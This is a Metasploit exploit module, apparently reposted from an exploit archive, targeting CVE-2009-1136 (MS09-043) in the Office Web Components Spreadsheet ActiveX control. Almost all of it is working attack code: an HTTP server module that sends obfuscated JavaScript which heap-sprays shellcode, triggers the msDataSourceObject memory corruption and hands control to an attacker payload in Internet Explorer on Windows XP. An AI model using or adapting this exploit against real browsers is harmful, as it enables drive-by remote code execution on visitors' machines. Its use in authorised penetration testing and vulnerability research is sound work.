Microsoft Office Web Components (OWC) Spreadsheet – msDataSourceObject Memory Corruption (MS09-043) (Metasploit)
## # $Id: ms09_043_owc_msdso.rb 9893 2010-07-20 23:28:47Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption', 'Description' => %q{ This module exploits a memory corruption vulnerability within versions 10 and 11 of the Office Web Component Spreadsheet ActiveX control. This module was based on an exploit found in the wild. }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ], 'Version' => '$Revision: 9893 $', 'References' => [ [ 'CVE', '2009-1136' ], [ 'OSVDB', '55806' ], [ 'MSB', 'MS09-043' ], [ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ], [ 'URL', 'http://www.exploit-db.com/exploits/9163/' ], # broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => '', 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c ], 'DisclosureDate' => 'Jul 13 2009', 'DefaultTarget' => 0)) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end def on_request_uri(cli, request) # Send a redirect with the javascript encoding key #if (!request.uri.match(/\?\w+/)) # send_local_redirect(cli, "?#{@javascript_encode_key}") # return #end return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") shellcode = Rex::Text.to_unescape(p.encoded) retaddr = Rex::Text.to_unescape([target.ret].pack('V')) js = %Q| var xshellcode = unescape("#{shellcode}"); var xarray = new Array(); var xls = 0x81000-(xshellcode.length*2); var xbigblock = unescape("#{retaddr}"); while( xbigblock.length < xls / 2) { xbigblock += xbigblock; } var xlh = xbigblock.substring(0, xls / 2); delete xbigblock; for(xi=0; xi<0x99*2; xi++) { xarray[xi] = xlh + xlh + xshellcode; } CollectGarbage(); var xobj; try { xobj = new ActiveXObject("OWC10.Spreadsheet"); } catch(err) { try { xobj = new ActiveXObject("OWC11.Spreadsheet"); } catch(err) { } } xe = new Array(); xe.push(1); xe.push(2); xe.push(0); xe.push(window); for(xi=0; xi < xe.length; xi++){ for(xj=0; xj<10; xj++){ try { xobj.Evaluate(xe[xi]); } catch(e) { } } } window.status = xe[3] + ''; for(xj=0; xj<10; xj++){ try{ xobj.msDataSourceObject(xe[3]); } catch(e) { } } | # Obfuscate it up a bit js = obfuscate_js(js, 'Symbols' => { 'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err} } ).to_s # Encode the javascript payload with the URI key # js = encrypt_js(js, @javascript_encode_key) # Fire off the page to the client send_response(cli, "<html><script language='javascript'>#{js}</script></html>") # Handle the payload handler(cli) end end |